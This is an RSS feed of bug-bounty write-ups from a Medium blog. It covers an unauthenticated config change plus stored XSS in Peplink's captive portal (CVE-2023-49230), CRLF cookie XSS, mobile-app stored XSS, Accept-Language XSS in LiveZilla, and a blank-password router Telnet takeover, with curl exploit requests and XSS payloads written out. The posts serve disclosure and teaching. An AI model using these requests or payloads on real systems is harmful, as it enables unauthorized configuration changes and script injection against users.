<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Srilakivarma on Medium]]></title>
        <description><![CDATA[Stories by Srilakivarma on Medium]]></description>
        <link>https://medium.com/@srilakivarma?source=rss-726c96545101------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*k1jS1oDuSRG45CCTM7wajQ.jpeg</url>
            <title>Stories by Srilakivarma on Medium</title>
            <link>https://medium.com/@srilakivarma?source=rss-726c96545101------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 04:27:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@srilakivarma/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ CVE-2023–49230: How I Found an Unauthenticated Config Change + Stored XSS in Peplink Captive…]]></title>
            <link>https://medium.com/@srilakivarma/cve-2023-49230-how-i-found-an-unauthenticated-config-change-stored-xss-in-peplink-captive-e64c9aeef98c?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/e64c9aeef98c</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Mon, 14 Jul 2025 07:25:39 GMT</pubDate>
            <atom:updated>2025-07-14T07:25:39.227Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔥 <strong>CVE-2023–49230: How I Found an Unauthenticated Config Change + Stored XSS in Peplink Captive Portal and Contributed a Nuclei Template to ProjectDiscovery</strong> 🚀</h3><p>Hey security community! 👋</p><p>In this post, I’ll walk you through <strong>how I discovered and exploited CVE-2023–49230</strong>, a critical <strong>unauthenticated configuration modification vulnerability</strong> in <strong>Peplink Balance Two’s captive portal</strong>, which even leads to a juicy <strong>stored XSS</strong> 💥</p><p>To top it off, I created and contributed a <strong>Nuclei detection template</strong> for this CVE to the <strong>ProjectDiscovery</strong> community — and it got accepted ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ba4p_0lgjWM1muXUrSvfvw.png" /></figure><h3>🔎 Vulnerability Overview</h3><ul><li><strong>Product:</strong> Peplink Balance Two (Firmware &lt; 8.4.0)</li><li><strong>CVE:</strong> <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-49230">CVE-2023–49230</a></li><li><strong>Impact:</strong> Unauthenticated attacker can modify captive portal config → leads to <strong>stored XSS</strong></li><li><strong>Root Cause:</strong> ❌ Missing authorization check on critical backend endpoint</li></ul><p><strong>🛣️ Path to Discovery — My Recon Flow 🕵️‍♂️</strong></p><p>It all started when I was casually exploring a target that had a <strong>Peplink login panel</strong>.<br> When I browsed to the main domain, I landed on this URL:</p><pre>https://example.com/cgi-bin/MANGA/index.cgi</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JarCYP_elwjBY34xACzFKw.png" /><figcaption>Peplink Login Panel</figcaption></figure><p>🧠 That looked interesting — and very “firmware-like”. From prior experience, I knew that Peplink devices often use this path as their main admin login interface.</p><p>Now, here’s the kicker:<br> 📌 Even though authentication was enforced here, I wanted to know <em>what else</em> the application exposed publicly…</p><h3>🔍 Digging Deeper…</h3><p>While poking around the directories and guessing a few endpoints, I hit this juicy one:</p><pre>https://example.com/guest/preview.cgi?portal_id=1</pre><p>🎯 Boom! It loaded the captive portal <strong>preview</strong> — no login required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jd8wAh-ERT5bFdgCDNzkAg.png" /><figcaption>captive portal page</figcaption></figure><p>I noticed a clean UI with a button labeled <strong>“Agree”</strong>, some T&amp;C content, and a static footer — all looked editable.</p><p>💡 That’s when the question popped up:</p><blockquote><em>“Is this config actually protected on the backend… or can I just push updates unauthenticated?”</em></blockquote><p>So, I started reviewing common backend upload and config endpoints… and eventually found:</p><pre>/guest/portal_admin_upload.cgi</pre><p>💣 This endpoint was wide open.<br> No session cookies, no tokens, nothing. Just ready to accept POST data.</p><p>I crafted a custom curl request mimicking a legitimate form submission...</p><h3>💥 Exploit #1: Unauthenticated Config Change</h3><p>Here’s the exact payload I used to <strong>change the “Agree” button</strong> text without auth:</p><pre>curl -k -L -i https://example.com/guest/portal_admin_upload.cgi \<br>  -H &quot;Content-Type: multipart/form-data; boundary=BOUNDARY&quot; \<br>  --data-binary @- &lt;&lt;EOF<br>--BOUNDARY<br>Content-Disposition: form-data; name=&quot;option&quot;<br><br>edit page<br>--BOUNDARY<br>Content-Disposition: form-data; name=&quot;mode&quot;<br><br>submit<br>--BOUNDARY<br>Content-Disposition: form-data; name=&quot;portal_id&quot;<br><br>1<br>--BOUNDARY<br>Content-Disposition: form-data; name=&quot;data&quot;<br><br>{<br>  &quot;status&quot;:&quot;ok&quot;,<br>  &quot;config&quot;: {<br>    &quot;login&quot;: {<br>      &quot;access mode&quot;:&quot;open&quot;,<br>      &quot;agree button&quot;:&quot;Modified button value without authentication for testing srilaki&quot;<br>    }<br>  }<br>}<br>--BOUNDARY--<br>EOF</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8AKRlfsk9n5sl7GULc7snw.png" /><figcaption>Unauthentic Config change</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEsko1IAJdgCK7n1dfhbZw.png" /><figcaption>Modified Button without Auth</figcaption></figure><p>🎯 <strong>Result:</strong> Portal UI updated with new button label. <strong>No login. No auth. Full control</strong></p><h3>😈 Exploit #2: Stored XSS (Because why not?)</h3><p>Then I wondered… can I inject <strong>HTML/JS</strong> into the config?</p><p>So I replaced the button label with a payload:</p><pre>&quot;agree button&quot;:&quot;&lt;script&gt;alert(&#39;xss in button&#39;)&lt;/script&gt;&quot;</pre><p>Final curl looked like this:</p><pre>çurl -k -L -i https://example.com/guest/portal_admin_upload.cgi \<br>-H &quot;Content-Type: multipart/form-data; boundary =-<br>-- data-binary @- &lt;&lt; &#39;EOF&#39;<br><br>Content-Disposition: form-data; name=&quot;option&quot;<br><br>edit page<br><br>Content-Disposition: form-data; name=&quot;mode&quot;<br><br>submit<br><br>Content-Disposition: form-data; name=&quot;portal_id&quot;<br><br>-370611892836891531633729116268<br>Content-Disposition: form-data; name=&quot;data&quot;<br><br>{&quot;status&quot;:&quot;ok&quot;,&quot;config&quot;: {&quot;login&quot;: {&quot;access mode&quot;:&quot;open&quot; &quot;message&quot;:&quot;&quot; &quot;tnc content&quot;:&quot;Terms and Conditions,&quot; &quot;tnc title&quot;:&quot;Terms and Conditions&quot;,&quot;tnc link&quot;:&quot;terms and conditions&quot; &quot;tnc prompt&quot;:&quot;<br>have read and agree to the #TNC_LINK#&quot;,&quot;back_login_button&quot;:&quot;Back to Login&quot;,&quot;agree button&quot;:&quot;Button with XSS&lt;script&gt;alert(\&quot;xss in button\&quot;)&lt;/script&gt;&quot;,&quot;session_id1&quot;:&quot; &quot;,&quot;session_id2&quot;:&quot;<br>&quot;},&quot;common&quot;: {&quot;hide_quota&quot;:&quot;no&quot;,&quot;landing_url&quot;:&quot;&quot;,&quot;logo_url&quot;:&quot;logo. cgi?portal_id=1&amp;type=preview&quot;,&quot;logo_url_def&quot;:&quot;logo.cgi?default=1&quot;,&quot;uploaded_logo_size&quot;:0,&quot;footer&quot;:&quot;Powered by<br>Peplink.&quot;,&quot;footer default&quot;:&quot;Powered by Peplink.&quot;}, &quot;success&quot;:{},&quot;reach quota&quot;: {},&quot;quota&quot;:{&quot;limit&quot;:{&quot;data&quot;:0,&quot;session_timeout&quot;:1800}}}}<br>-- 370611892836891531633729116268<br>Content-Disposition: form-data; name=&quot;logo_action&quot;<br><br>x<br><br>Content-Disposition: form-data; name=&quot;logo&quot;; filename=&quot;&quot;<br>Content-Type: application/octet-stream<br><br>-370611892836891531633729116268 --<br><br>-370611892836891531633729116268&quot; \<br><br>-370611892836891531633729116268<br><br>370611892836891531633729116268<br><br>-- 370611892836891531633729116268<br><br>1<br><br>-370611892836891531633729116268<br><br>EOF</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWz8Qq_8J6z012PHe5g2xg.png" /><figcaption>Stored-XSS in Button</figcaption></figure><p>✅ <strong>Result:</strong> Alert pops whenever a victim/user/admin loads the portal preview page!<br> ➡️ <strong>Stored XSS via backend config</strong></p><h3>🧪 Detection: I Created a Nuclei Template! ⚙️</h3><p>To help others easily identify this vulnerability, I wrote a <strong>Nuclei template</strong> and contributed it to the <strong>ProjectDiscovery</strong> templates repo.</p><p>🧩 Template name: CVE-2023-49230.yaml<br> 🔗 Link: <a href="https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-49230.yaml">View on GitHub</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZVpuRkyn214rRojbNWsag.png" /><figcaption>Template Accepted</figcaption></figure><h3>What it does:</h3><ul><li>Sends a crafted unauthenticated POST request</li><li>Checks if portal config changes</li><li>Alerts if vulnerable 🚨</li></ul><p>🎉 And yes, it’s officially part of the community templates now!</p><h3>🚧 Fix &amp; Recommendation</h3><p>Peplink fixed this issue in firmware version <strong>8.4.0</strong>.<br> ✅ If you’re running an older version: <strong>Update ASAP</strong></p><blockquote><em>Always enforce backend authorization even for obscure endpoints. Never rely on frontend auth/UI alone.</em></blockquote><h3>🙌 Final Words</h3><p>🔍 This bug was a perfect example of:</p><ul><li>Exploring hidden endpoints 🔍</li><li>Leveraging misconfigurations 🚧</li><li>Turning auth bypass into stored XSS 💥</li><li>Automating detection with <strong>Nuclei</strong> 🧪</li></ul><p>And contributing back to the community is the cherry on top 🍒</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e64c9aeef98c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ CRLF Injection to Stored XSS via Cookie Poisoning ]]></title>
            <link>https://medium.com/@srilakivarma/crlf-injection-to-stored-xss-via-cookie-poisoning-f7df1b790fe4?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7df1b790fe4</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[crlf-injection]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Fri, 13 Jun 2025 11:11:20 GMT</pubDate>
            <atom:updated>2025-06-13T11:11:20.025Z</atom:updated>
            <content:encoded><![CDATA[<h3>📌 TL;DR</h3><p>Discovered a <strong>CRLF injection</strong> vulnerability where I was able to inject and persist <strong>XSS payloads inside cookies</strong> using a manipulated URL parameter. This leads to <strong>Stored XSS via cookie poisoning</strong>, which could affect any user visiting the target app!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MkfblLb5oY9I0TmKJtt9zw.png" /><figcaption>CRLFI</figcaption></figure><h3>🕵️‍♂️ Recon Begins…</h3><p>While testing the endpoint:</p><pre>https://example.com</pre><p>I noticed the application sets a cookie:</p><pre>Set-Cookie: JSESSIONID=2B64D9F3EED07642CDCAEC95FABA6E69</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XX3Ul06EvDA7uuuNBKYZIA.png" /><figcaption>Recon</figcaption></figure><p>Pretty normal, right? 😌 But things got interesting when I appended a query param to the URL:</p><pre>https://example.com/?lang=en</pre><p>Boom 💥! A new cookie appeared in my browser:</p><pre>Set-Cookie: SSGLang=en</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xD1AFyMQy3S7h_BLeMYeeQ.png" /><figcaption>Finding the Endpoint</figcaption></figure><p>This showed that the server is reflecting lang from the query param into a cookie!</p><h3>🧪 Let’s Try Tampering…</h3><p>So I changed the URL to:</p><pre>https://example.com/?lang=ensrilaki</pre><p>And guess what? The cookie updated:</p><pre>Set-Cookie: SSGLang=ensrilaki</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SH_i7RRJSxvd6gML8n7yYA.png" /><figcaption>Cookie Manipulation</figcaption></figure><p>Now I had <strong>control over the cookie value</strong> based on the URL param. That’s 🚩 <strong>user-controlled cookie injection</strong>.</p><h3>🚨 Testing for CRLF Injection</h3><p>Let’s see if we can break the HTTP response headers:</p><pre>https://example.com/?lang=en%0D%0ASet-Cookie:%20XSS=evil</pre><p>🧠 %0D%0A is URL-encoded \r\n, which creates a <strong>newline (CRLF)</strong> in the HTTP response. If the server reflects it <strong>unsanitized</strong>, we can forge new headers — in this case, a new Set-Cookie!</p><h3>💀 CRLF to Stored XSS</h3><p>I went a step further and injected an <strong>XSS payload</strong>:</p><pre>https://example.com/?lang=en&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><p>Now the server responded with:</p><pre>Set-Cookie: SSGLang=en&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9KoFbl4y4TYzuv6s75XXg.png" /><figcaption>XSS Executed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xcCCOBB34pSEq202M_ET0g.png" /><figcaption>Cookies stored</figcaption></figure><p>The payload &lt;script&gt;alert(1)&lt;/script&gt; was stored in the browser cookie. Even though the URL did not contain any query parameters, the script executed on the next page load — indicating a <strong>Stored Cross-Site Scripting (XSS)</strong> vulnerability via <strong>cookie injection</strong>.</p><h3>⚔️ Why This is Dangerous?</h3><ul><li>✅ XSS can be used to steal session tokens, cookies, or perform actions on behalf of users.</li><li>🚨 Since it’s stored in cookies, the payload is persistent and executes on any visit.</li><li>🔐 No authentication needed — anyone can trigger it via a URL!</li></ul><h3>🧯 Recommendation to Developers</h3><ul><li>🧼 Sanitize and validate all input — especially values being reflected into headers or cookies.</li><li>🚫 Never directly trust query parameters when setting response headers or cookies.</li><li>🔒 Implement proper Content Security Policy (CSP).</li><li>✔️ Use secure frameworks that automatically escape dangerous characters.</li></ul><h3>🏁 Final Thoughts</h3><p>This is a beautiful example of how <strong>small misconfigurations</strong> (like reflecting query params into cookies) can be <strong>chained into full XSS</strong> using CRLF injection.</p><p>Bug bounty hunters and pentesters — always check for CRLF on cookie values! 🍪⚠️</p><h3>🛠️ Tools Used</h3><ul><li>🔍 Burp Suite</li><li>🧪 Browser Cookie Editor Extension</li><li>💡 Classic Payload: &quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7df1b790fe4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found a Critical Stored XSS in a Financial App (iOS & Android) ]]></title>
            <link>https://medium.com/@srilakivarma/how-i-found-a-critical-stored-xss-in-a-financial-app-ios-android-eac1447e9702?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/eac1447e9702</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Tue, 11 Mar 2025 13:11:01 GMT</pubDate>
            <atom:updated>2025-03-11T13:11:01.829Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Unexpected Security Flaw 🤯</h3><p>Imagine this: You’re using a financial insurance app, a place where users store their sensitive policy details. Everything looks secure, but what if I told you a simple <strong>caption field</strong> could lead to a major <strong>security breach</strong>? 😱</p><p>That’s exactly what happened when I discovered a <strong>Stored Cross-Site Scripting (XSS) vulnerability</strong> in both the <strong>iOS and Android</strong> versions of the app. Here’s how I did it! 🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n50xPIsbRIylKExHdkpZYw.png" /><figcaption>Stored-XSS in mobile apps</figcaption></figure><h3>Step 1: Exploring the “My Policy” Feature 🔍</h3><p>The app had a section called <strong>“My Policy”</strong>, where users could <strong>upload an image</strong> of their policy document. After uploading, users could also <strong>add a caption</strong> for the image. This caption would be displayed when they later viewed their policy details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEdZ4WQJhZ600hFf90arSw.png" /><figcaption>My-Policy Feature</figcaption></figure><p>To most users, this seemed like a harmless feature. But as a security researcher, I saw an opportunity. 😈</p><h3>Step 2: Testing for XSS Payload Injection 💻</h3><p>Naturally, I wanted to see if the app properly sanitized user input. So, I began testing:<br>✅ <strong>First attempt:</strong> Upload an image with an XSS payload in the filename — <strong>No execution</strong> ❌<br>✅ <strong>Second attempt:</strong> Add a <strong>script tag</strong> (&lt;script&gt;alert(1)&lt;/script&gt;) in the caption – <strong>Blocked</strong> ❌<br>✅ <strong>Third attempt:</strong> Try encoding tricks – <strong>Still no luck</strong> ❌</p><p>It seemed like the app was <strong>filtering out</strong> basic XSS attempts. But I wasn’t giving up yet! 💪</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1dFJGPsY6Fk6Fcbdi_Br1Q.png" /><figcaption>Checking with xss payloads</figcaption></figure><h3>Step 3: Bypassing the Filters &amp; Executing XSS 🚀</h3><p>After experimenting with different inputs, I decided to inject this payload directly into the <strong>caption field</strong>:</p><pre>&lt;iframe src=javascript:alert(1)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*Ryafofo_p6Y0J2iKzDVIkQ.png" /><figcaption>XSS payload</figcaption></figure><p>I saved the details, reopened my policy… and <strong>BOOM!</strong> 💥 The JavaScript alert popped up! 🎯</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*tku-_XG5NEPoP8BtoQW1jw.png" /><figcaption>XSS Triggered</figcaption></figure><p>✅ <strong>Stored XSS successfully executed!</strong> 🔓</p><h3>Step 4: Reproducing on Android 🤖</h3><p>Since most financial apps <strong>share the same backend</strong> for both iOS &amp; Android, I decided to test the same payload on the <strong>Android version</strong>.</p><p>Guess what? 🤔</p><p>🔥 <strong>The exact same XSS payload worked!</strong> 🔥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*GMXu6tYypjYSBSt6eWki0Q.png" /><figcaption>XSS In android app</figcaption></figure><p>This confirmed that the issue wasn’t platform-specific but rather a <strong>backend vulnerability</strong> affecting both versions of the app. This could allow an attacker to inject <strong>malicious JavaScript</strong>, steal session tokens, or even deface user-generated content.</p><h3>Step 5: Reporting &amp; Impact 🛠️</h3><p>I documented my findings and <strong>reported the vulnerability</strong> through the company’s <strong>Bug Bounty Program</strong> 🏆.</p><h3>🔥 Why This Was a Critical Issue</h3><p>✅ <strong>Persistent Exploit:</strong> The XSS payload <strong>remained stored</strong> in the database, executing every time the policy was viewed.<br>✅ <strong>High Impact:</strong> Attackers could inject malicious scripts to steal user data, <strong>perform phishing attacks</strong>, or even compromise accounts.<br>✅ <strong>Platform-Wide Issue:</strong> Since both iOS &amp; Android apps shared the same backend, the risk extended across the entire user base.</p><h3>Lessons Learned 📚</h3><p>🔹 <strong>Never underestimate small input fields</strong> — Even captions can be a security risk.<br>🔹 <strong>Test across all platforms</strong> — A vulnerability in one system could exist in another.<br>🔹 <strong>Try different XSS payloads</strong> — Simple script tags might be blocked, but there are always <strong>creative workarounds</strong>.</p><h3>Final Thoughts 💡</h3><p>Finding <strong>Stored XSS</strong> in a <strong>financial app</strong> was a great reminder that <strong>even well-designed applications can have security flaws</strong>.</p><p>🔐 <strong>Takeaway:</strong> Always sanitize and validate user input to prevent stored XSS! If I could inject a malicious script, imagine what a real attacker could do. 😈</p><p>By reporting this issue, I helped make the app <strong>safer for thousands of users</strong>. That’s the power of <strong>ethical hacking</strong>! 💙</p><p>So, the next time you see an input field <strong>accepting user-generated content</strong>, test it smartly! 🔥</p><h3>💬 Have you found similar XSS vulnerabilities before? Share your thoughts in the comments!</h3><p>#BugBounty #CyberSecurity #EthicalHacking #XSS #Pentesting #WebSecurity #MobileSecurity</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eac1447e9702" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Discovered a Reflected XSS in Accept-Language Header ]]></title>
            <link>https://medium.com/@srilakivarma/how-i-discovered-a-reflected-xss-in-accept-language-header-a774e3355b08?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/a774e3355b08</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Fri, 21 Feb 2025 12:58:59 GMT</pubDate>
            <atom:updated>2025-02-21T12:58:59.722Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔍 The Recon Phase: Finding a Suspicious Subdomain</h3><p>While doing reconnaissance, I stumbled upon a <strong>suspicious subdomain</strong>. At first glance, it had a <strong>normal login page</strong> that looked familiar. After a bit of digging, I realized it belonged to <strong>LiveZilla</strong>, a popular live chat support system.</p><p>Since I love breaking things ethically 😉, I decided to dig deeper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8tl_fLLZUnpE27Z-XntXg.png" /><figcaption>Exploring the target</figcaption></figure><h3>🛠️ Initial Attempts: Default Credentials &amp; SQLi</h3><p>I started with the basics:</p><p>Tried <strong>default credentials</strong> (admin:admin, test:test, etc.) ❌ <em>No luck!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vpmOoz3UqJQ_uArG6RSmuw.png" /><figcaption>Tried Default credentials</figcaption></figure><p>Injected some <strong>common SQLi payloads</strong> ❌ <em>Still no luck!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQ5Od0TzlEF3e-gukIuC7g.png" /><figcaption>Tired with sqli payloads</figcaption></figure><p>At this point, I knew I had to <strong>change my approach</strong> and get more information about the application.</p><h3>🔎 Digging Deeper: LiveZilla Exploit Research</h3><p>Since I identified the application as <strong>LiveZilla</strong>, my next step was to check if it had <strong>any known vulnerabilities</strong>.</p><p>I quickly searched on <strong>Exploit-DB (searchsploit)</strong> and found a list of vulnerabilities. <strong>Bingo! 🎯</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYCfUeeI21JnzSLmT200gQ.png" /><figcaption>checking with Searchsploit (Exploit db)</figcaption></figure><p>One exploit caught my attention:</p><pre>LiveZilla Server 8.0.1.0 - &#39;Accept-Language&#39; Reflected XSS</pre><h3>🎯 Exploiting the Vulnerability: Accept-Language XSS</h3><p>Even though the <strong>exact version of LiveZilla</strong> wasn’t disclosed on the target, I decided to give it a shot!</p><p>💡 Steps I Followed:</p><ol><li>Captured the request in <strong>Burp Suite</strong> 📡</li><li>Modified the Accept-Language header with a <strong>malicious payload</strong>:</li></ol><pre>&#39;;alert(document.domain)//</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwPC2h_4mNMKVBe607dfmA.png" /><figcaption>Modified the request</figcaption></figure><p>3. Sent the request and <strong>BINGO!</strong> 💥 The JavaScript alert popped up, confirming <strong>Reflected XSS!</strong> 😈</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87qeOiPq5CsqecsAkDHeIw.png" /><figcaption>XSS triggered</figcaption></figure><h3>🏆 Takeaways &amp; Lessons Learned</h3><p>✅ <strong>Recon is crucial!</strong> Digging deeper into technologies can lead to hidden vulnerabilities.<br>✅ <strong>Don’t stop at login pages!</strong> Even if login attempts fail, other attack vectors might exist.<br>✅ <strong>Header-based XSS exists!</strong> Always test headers like Referer, User-Agent, and Accept-Language.<br>✅ <strong>Automate where you can!</strong> Tools like searchsploit can help identify known exploits quickly.</p><h3>🎤 Final Thoughts</h3><p>This was a great example of <strong>how persistence and thorough recon can lead to discovering XSS vulnerabilities</strong>. If you’re into pentesting, <strong>never overlook HTTP headers</strong> — you never know where an injection might work! 😏</p><p>Hope you found this write-up useful! 🔥 Happy hacking! 🏴‍☠️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a774e3355b08" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found a Critical Router Vulnerability During Bug Bounty Recon ️‍♂️]]></title>
            <link>https://medium.com/@srilakivarma/how-i-found-a-critical-router-vulnerability-during-bug-bounty-recon-%EF%B8%8F-%EF%B8%8F-f5f2238e0eea?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5f2238e0eea</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Mon, 10 Feb 2025 12:55:15 GMT</pubDate>
            <atom:updated>2025-02-10T12:55:15.229Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Bug bounty hunting is all about being curious and persistent — you never know when a small lead might turn into a major discovery. In this post, I’ll share how I stumbled upon a critical router vulnerability, granting admin access via Telnet, and the lessons learned along the way. This story is packed with practical tips for pen testers and fellow bug bounty hunters alike. 🛡️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OADG64-xxcZKSzLVw2iKXA.png" /><figcaption>Exploring Router Telnet</figcaption></figure><h3>The Reconnaissance Phase 🔍</h3><p>While performing reconnaissance on a target, I came across a suspicious IP address. Something about it felt worth investigating, so I fired up an Nmap scan to see what was open:</p><pre>nmap -sV -sC &lt;ip&gt; -Pn </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pgEE4LhEui5NaDJwQNsQTQ.png" /><figcaption>nmap port scan</figcaption></figure><p>To my surprise, port 23 (Telnet) was open. This instantly caught my attention since Telnet is notorious for being insecure and poorly configured in many environments.</p><h3>Exploring Telnet Access 🔧</h3><p>Curiosity got the better of me, so I decided to connect to the Telnet service:</p><pre>telnet &lt;target-ip&gt;</pre><p>I was greeted with a password prompt. Just for fun, I pressed <strong>Enter</strong> without typing anything — and boom, I was in! 😳</p><p>The initial prompt showed a &gt; symbol, indicating that I had <strong>limited privileges</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y1sPbpQorWZZwIiOejGgag.png" /><figcaption>Telnet Login</figcaption></figure><h3>Investigating Router Commands 🔎</h3><p>Through a bit of research, I found some essential commands commonly used in router environments:</p><ul><li>&gt;: Least privilege access</li><li>#: Admin privilege access</li><li>?: List available commands</li></ul><p>I typed ? to see what commands were available at my current privilege level. The list was limited, but I was determined to explore further.</p><h3>Escalating Privileges 💪</h3><p>I decided to try typing administrator to see if there was a hidden admin mode. Sure enough, the router prompted me for a password again. I pressed <strong>Enter</strong> without providing any password, just as before — and guess what? I now had <strong>admin privileges</strong>, indicated by the # prompt. 💪🔑</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sx7fxubF4wsT0nPey7f8Lg.png" /><figcaption>Administrator access</figcaption></figure><h3>Full Router Access 🛠️</h3><p>With administrative access, I had complete control over the router:</p><ul><li>Accessing login logs</li><li>Deleting configuration files</li><li>Modifying critical settings</li></ul><p>This was a serious security issue that could lead to devastating consequences if exploited by a malicious actor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*oXGy6th1v5HTqYuP2ZTbaw.png" /><figcaption>Full Administrator access</figcaption></figure><h3>Responsible Disclosure 📢</h3><p>Realizing the severity of this vulnerability, I immediately documented my findings and reported them to the program administrators. They acknowledged the issue and quickly patched the problem.</p><h3>Final Thoughts 📊</h3><p>This discovery was a game-changer for me as a bug bounty hunter. It highlighted the importance of persistence, curiosity, and responsible reporting. For my fellow pentesters and bug bounty enthusiasts: keep pushing, stay ethical, and always document your findings thoroughly.</p><p>Thanks for reading, and happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5f2238e0eea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i found Open-Redirection using my own tool [EvilRedirex]]]></title>
            <link>https://medium.com/@srilakivarma/how-i-found-open-redirection-using-my-own-tool-evilredirex-4f3eac7f4dfa?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f3eac7f4dfa</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Tue, 07 Jan 2025 05:26:52 GMT</pubDate>
            <atom:updated>2025-01-07T05:26:52.345Z</atom:updated>
            <content:encoded><![CDATA[<p>In the dynamic world of cybersecurity, automating vulnerability detection is not just a convenience — it’s a necessity. That’s why I, Srilaki Varma, operating under my alias EvilTwinz, developed <strong>EvilRedirex</strong>: a Python tool designed to detect open redirects and cross-site scripting (XSS) vulnerabilities in web applications. With its advanced features like threaded scanning and Selenium integration, EvilRedirex empowers penetration testers to streamline their workflows and uncover critical vulnerabilities efficiently.</p><p>In this article, I’ll share the story of how EvilRedirex helped me identify an open URL redirection vulnerability, leading to a successful report on HackerOne. Let’s dive in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0K2riTE9_47qjf93fnZog.png" /><figcaption>Evilredirex</figcaption></figure><h3>What Is EvilRedirex?</h3><p>EvilRedirex is a lightweight yet powerful Python tool designed to:</p><ul><li><strong>Detect Open Redirects</strong>: Identify URLs vulnerable to redirecting users to unintended destinations.</li><li><strong>Identify XSS Vulnerabilities</strong>: Uncover parameters susceptible to cross-site scripting (XSS) attacks.</li><li><strong>Leverage Threaded Scanning</strong>: Test multiple URLs simultaneously to save time.</li><li><strong>Integrate Selenium for Advanced Detection</strong>: Use a headless browser for enhanced scanning capabilities.</li></ul><p>EvilRedirex is available on PyPI and can be installed 